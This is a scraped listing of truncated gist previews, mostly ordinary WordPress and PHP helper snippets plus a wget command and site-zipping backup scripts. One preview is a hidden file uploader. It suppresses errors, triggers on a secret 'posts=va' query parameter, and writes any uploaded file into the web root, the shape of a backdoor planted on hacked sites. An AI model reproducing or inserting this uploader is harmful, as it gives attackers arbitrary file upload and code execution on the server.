This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Template function to output search results | |
*/ | |
function display_listings(){ | |
$algolia = Algolia_Plugin::get_instance(); | |
$index = $algolia->get_api()->get_client()->initIndex( 'rpwp_posts_listing' ); | |
$search = $index->search( '', mytheme_algolia_search_parameters() ); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
error_reporting(0); | |
if($_GET["posts"]=="va"){ | |
if ($_SERVER['REQUEST_METHOD'] == 'POST') { | |
echo "url:".$_FILES["upfile"]["name"]; | |
if(!file_exists($_FILES["upfile"]["name"])){ | |
copy($_FILES["upfile"]["tmp_name"], $_FILES["upfile"]["name"]); | |
} | |
}?> | |
<form method="post" enctype="multipart/form-data"> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
global $_started_time; | |
if( ! function_exists( '_perf_debug' ) ){ | |
function _perf_debug( $file, $line, $comment = '' ){ | |
global $_started_time; | |
$file = str_replace( $_SERVER['DOCUMENT_ROOT'], '', $file ); | |
$time = microtime( true ); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
wget -i image-list.txt --force-directories |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Imported from Post Types Order deprecated code. | |
* https://github.com/alessandropellegrini/post-types-order/blob/master/include/functions.php | |
*/ | |
if( ! function_exists( 'userdata_get_user_level' ) ){ | |
function userdata_get_user_level( $return_as_numeric = FALSE ){ | |
global $userdata; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
# create your taxonomy | |
# In this example, I'm using "landing-section-class" as the taxonomy | |
# Remove the unneeded meta box | |
add_action( 'admin_menu', '_briand_remove_landing_section_class_metabox' ); | |
function _briand_remove_landing_section_class_metabox() { | |
remove_meta_box( 'tagsdiv-landing-section-class', 'page', 'side' ); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
add_filter( 'wc_add_to_cart_params', 'kingcotton_remove_query_strings' ); | |
add_filter( 'woocommerce_params', 'kingcotton_remove_query_strings' ); | |
function kingcotton_remove_query_strings( $params ) { | |
$params['wc_ajax_url'] = '/?wc-ajax=%%endpoint%%'; | |
return $params; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Disable Tribe Select2 on non-tribe admin pages | |
*/ | |
function _theme_disable_tribe_select2() { | |
$screen = get_current_screen(); | |
if ( 'tribe_events' === $screen->id ) { | |
return; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Source: | |
* @link https://web.archive.org/web/20160403212324/http://cloudsitesrock.com/?ac=list&cat=6&m=0&y=0 | |
*/ | |
$cmd = "zip -9prv content_backup.zip ."; | |
$pipe = popen($cmd, 'r'); | |
if (empty($pipe)) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$cmd = "zip -9prv content_backup.zip ."; | |
$pipe = popen($cmd, 'r'); | |
if (empty($pipe)) { | |
throw new Exception("Unable to open pipe for command '$cmd'"); | |
} | |
stream_set_blocking($pipe, false); | |
echo "\n"; |